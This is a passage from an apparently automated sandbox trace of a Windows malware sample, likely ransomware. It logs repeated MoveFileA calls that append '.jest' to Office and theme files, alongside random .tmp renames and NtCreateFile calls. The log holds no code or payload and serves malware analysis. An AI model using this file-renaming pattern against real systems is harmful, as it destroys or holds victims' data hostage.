Uvi0pBEUXzLVbDPCyqCFpqMCRc8wEdY3uyJI7H.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\rnjxewl wl84d0szli69u63hgcarn9 hkmnss2e0nwlpleyrtushh 2rfwd uvi0pbeuxzlvbdpcyqcfpqmcrc8wedy3uyji7h.tmp")) returned 0 [0170.934] GetLastError () returned 0x2 [0170.935] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﲓ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0170.936] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\SWBELL.NET.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\swbell.net.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\SWBELL.NET.XML.jest" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\swbell.net.xml.jest")) returned 1 [0170.938] VarBstrFromR4 (in: fltIn=0x47945a3f, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75956.49") returned 0x0 [0170.941] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\SWBELL.NET.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\swbell.net.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\5MrdcBDFxOL5944Xw-b UJ-HkBtbZQh6wxiBz SlMxlX_gdy6FD5JG2TzuWxZwVKB-0uOxtIHjTmwb6nus8zj9dqYoiwSzjxb Ju.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\5mrdcbdfxol5944xw-b uj-hkbtbzqh6wxibz slmxlx_gdy6fd5jg2tzuwxzwvkb-0uoxtihjtmwb6nus8zj9dqyoiwszjxb ju.tmp")) returned 0 [0170.941] GetLastError () returned 0x2 [0170.943] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="\xfdd2", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0170.944] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\TABON.JPG" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\tabon.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\TABON.JPG.jest" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\tabon.jpg.jest")) returned 1 [0170.947] VarBstrFromR4 (in: fltIn=0x47945a41, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75956.51") returned 0x0 [0170.948] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\TABON.JPG" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\tabon.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\VulE5dJY0lhJu0ukhzhSKhELQLp0h0rUbuPOx p1Mrik8NYS9khr rFpDkI5gC4P5_oXNnSzrz _b7HkqlcFcOCWDEySkSraq2.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\vule5djy0lhju0ukhzhskhelqlp0h0rubupox p1mrik8nys9khr rfpdki5gc4p5_oxnnszrz _b7hkqlcfcocwdeysksraq2.tmp")) returned 0 [0170.948] GetLastError () returned 0x2 [0170.949] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ƙ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0170.950] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﳉ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0170.950] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\TEXTAREA.JPG" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview\\textarea.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\TEXTAREA.JPG.jest" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview\\textarea.jpg.jest")) returned 1 [0170.953] VarBstrFromR4 (in: fltIn=0x47945a41, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75956.51") returned 0x0 [0170.954] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\TEXTAREA.JPG" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview\\textarea.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\xynCWlgVFBMdkxn63I6M2BI7mYiDZEUzXV VnQek1uAgR226Vm5jqRRC Ph60BNCSPFiC3cR06u_h1xYCV3n1dWAB-tHJxF4QWBz.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\xyncwlgvfbmdkxn63i6m2bi7myidzeuzxv vnqek1uagr226vm5jqrrc ph60bncspfic3cr06u_h1xycv3n1dwab-thjxf4qwbz.tmp")) returned 0 [0170.954] GetLastError () returned 0x2 [0170.954] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱪ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0170.955] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\TexturedBlue.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\texturedblue.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\TexturedBlue.css.jest" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\texturedblue.css.jest")) returned 1 [0170.957] VarBstrFromR4 (in: fltIn=0x47945a43, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75956.52") returned 0x0 [0170.958] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\TexturedBlue.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\texturedblue.css"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\9R wFwIhX5jRWXgw7Yrr0b9YtVMh7Bb-0HhTcUG6xfbiU6Ba5LowzHCGZC4kKuL-P nbypYoAEsTM a7APODMCvAj5lQzLFpfX.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\9r wfwihx5jrwxgw7yrr0b9ytvmh7bb-0hhtcug6xfbiu6ba5lowzhcgzc4kkul-p nbypyoaestm a7apodmcvaj5lqzlfpfx.tmp")) returned 0 [0170.958] GetLastError () returned 0x2 [0170.958] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱬ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0170.959] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\TexturedBlue.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\texturedblue.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\TexturedBlue.css.jest" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\texturedblue.css.jest")) returned 1 [0170.961] VarBstrFromR4 (in: fltIn=0x47945a43, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75956.52") returned 0x0 [0170.961] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\TexturedBlue.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\texturedblue.css"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\E-MR30vJTQAcN2dP6jah3OdPUwHCuwCK-CbMZJOhfH7tbBhW5Defa hNB2W a37bN2AyHaI_MZqKed7pe-Ndx9RJiHeTjY9gnFFT0.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\e-mr30vjtqacn2dp6jah3odpuwhcuwck-cbmzjohfh7tbbhw5defa hnb2w a37bn2ayhai_mzqked7pe-ndx9rjihetjy9gnfft0.tmp")) returned 0 [0170.962] GetLastError () returned 0x2 [0170.962] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﳉ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0170.962] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\TEXTVIEW.JPG" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview\\textview.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\TEXTVIEW.JPG.jest" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview\\textview.jpg.jest")) returned 1 [0170.964] VarBstrFromR4 (in: fltIn=0x47945a43, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75956.52") returned 0x0 [0170.965] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\TEXTVIEW.JPG" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview\\textview.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\PjTYquMwZRf-FgxbD4Uk7d-IxK4TvRZgQ7UH0qUvQHGSKgDCg hplJDQ-Qou_DiyYBrPFirniFJ_k4MnvkP0ux2kx9gRbivxtgi.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\pjtyqumwzrf-fgxbd4uk7d-ixk4tvrzgq7uh0quvqhgskgdcg hpljdq-qou_diyybrpfirnifj_k4mnvkp0ux2kx9grbivxtgi.tmp")) returned 0 [0170.965] GetLastError () returned 0x2 [0170.965] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﲳ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0170.966] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG.jest" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\thmbnail.png.jest")) returned 1 [0170.967] VarBstrFromR4 (in: fltIn=0x47945a43, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75956.52") returned 0x0 [0170.968] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\thmbnail.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Y-rpke6Cod5AqxpZ1Gaf9RadGL5oBPosGxpFhrgOR0SYleUbhO8NULKsHjkMSi65bvauXiuTFv_FjDJX6Y0YBLC3Uk11Ylfo6mCpF.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\y-rpke6cod5aqxpz1gaf9radgl5obposgxpfhrgor0syleubho8nulkshjkmsi65bvauxiutfv_fjdjx6y0yblc3uk11ylfo6mcpf.tmp")) returned 0 [0170.968] GetLastError () returned 0x2 [0170.969] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﷀ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0170.970] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG.jest" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\thmbnail.png.jest")) returned 1 [0170.972] VarBstrFromR4 (in: fltIn=0x47945a45, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75956.54") returned 0x0 [0170.973] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\thmbnail.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\6uc_Y5LCJBxxJBqNjL9yctVtiXuVYrqD7hP-tbRf6u4-L 8QbRXjGcUpALmUstY4 9XqnxFsEHy8kV5kKAzd8Zm1sSpQB7XcdjX99.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\6uc_y5lcjbxxjbqnjl9yctvtixuvyrqd7hp-tbrf6u4-l 8qbrxjgcupalmusty4 9xqnxfsehy8kv5kkazd8zm1sspqb7xcdjx99.tmp")) returned 0 [0170.973] GetLastError () returned 0x2 [0170.973] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﷂ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0170.977] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG.jest" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\thmbnail.png.jest")) returned 1 [0170.979] VarBstrFromR4 (in: fltIn=0x47945a45, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75956.54") returned 0x0 [0170.980] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\thmbnail.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\qQIXyTcyxHREUkk5GvVFYhXc7J7lBw8oTwavWBYhYc-VKK0TsSaWPpJhUS_-gQ5ZiKPZKY23VLym MejHlJqWpm9BiKXc2fb_Cf.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\qqixytcyxhreukk5gvvfyhxc7j7lbw8otwavwbyhyc-vkk0tssawppjhus_-gq5zikpzky23vlym mejhljqwpm9bikxc2fb_cf.tmp")) returned 0 [0170.980] GetLastError () returned 0x2 [0170.981] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="﷉", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0170.982] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG.jest" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\thmbnail.png.jest")) returned 1 [0170.983] VarBstrFromR4 (in: fltIn=0x47945a45, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75956.54") returned 0x0 [0170.984] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\thmbnail.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\MFjT9LABTRBObrykKDiOV5dC253j_oyiOW675pRftyoRDOe F50cA1Ay5M NOPgTBww5cqAoqZ2kR62RpQcIGbJ-L7BFZwzFelILR.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\mfjt9labtrbobrykkdiov5dc253j_oyiow675prftyordoe f50ca1ay5m nopgtbww5cqaoqz2kr62rpqcigbj-l7bfzwzfelilr.tmp")) returned 0 [0170.984] GetLastError () returned 0x2 [0170.984] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="\xfdd0", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0170.985] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG.jest" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\thmbnail.png.jest")) returned 1 [0170.987] VarBstrFromR4 (in: fltIn=0x47945a47, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75956.55") returned 0x0 [0170.987] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\thmbnail.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\8a i4RerFCKls3PI7HBKJ69_V4s8omef9qcWTE9FvcuCR7Jjv96M50r_jxEzs1_aw-UA4CESEN-zYrw-ByvsVJMwP0zWW_8y7vWMd.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\8a i4rerfckls3pi7hbkj69_v4s8omef9qcwte9fvcucr7jjv96m50r_jxezs1_aw-ua4cesen-zyrw-byvsvjmwp0zww_8y7vwmd.tmp")) returned 0 [0170.988] GetLastError () returned 0x2 [0170.988] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="︗", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0170.988] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG.jest" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\thmbnail.png.jest")) returned 1 [0170.990] VarBstrFromR4 (in: fltIn=0x47945a47, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75956.55") returned 0x0 [0170.991] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\thmbnail.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\iq5W8cv5Wc6mH4d0wxriVjgJMmZgAEbErxwe3BmOu5voY1W6 Y0ZGh_jvrWLIiEuHOC49ljGqbhMT3G97egjIo3lkuA-sY7wh 4.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\iq5w8cv5wc6mh4d0wxrivjgjmmzgaeberxwe3bmou5voy1w6 y0zgh_jvrwliieuhoc49ljgqbhmt3g97egjio3lkua-sy7wh 4.tmp")) returned 0 [0170.991] GetLastError () returned 0x2 [0170.991] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="︜", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0170.992] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG.jest" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\thmbnail.png.jest")) returned 1 [0170.993] VarBstrFromR4 (in: fltIn=0x47945a47, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75956.55") returned 0x0 [0170.994] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\thmbnail.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\NXSGCjF2lYr_9NMUB RmPNOxfB0fEvejYoLMW2vgHY742D0xoHBJXfmfAC4YgEYOA4LYzhmWY_2PNP6wLVwjDH-g7mkk X0OfSDjm.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\nxsgcjf2lyr_9nmub rmpnoxfb0fevejyolmw2vghy742d0xohbjxfmfac4ygeyoa4lyzhmwy_2pnp6wlvwjdh-g7mkk x0ofsdjm.tmp")) returned 0 [0170.994] GetLastError () returned 0x2 [0170.995] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﺵ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0170.995] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG.jest" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\thmbnail.png.jest")) returned 1 [0170.998] VarBstrFromR4 (in: fltIn=0x47945a47, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: 